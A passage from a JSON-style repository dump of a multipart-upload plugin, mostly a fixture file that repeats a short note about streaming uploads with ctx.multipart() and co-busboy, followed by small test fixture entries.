`ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/testfile.txt",
    "content": "this is a test file\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/中文名.js",
    "content": "hello;\n"
  },
  {
    "path": "plugins/multipart/test/multipart-for-await.test.ts",
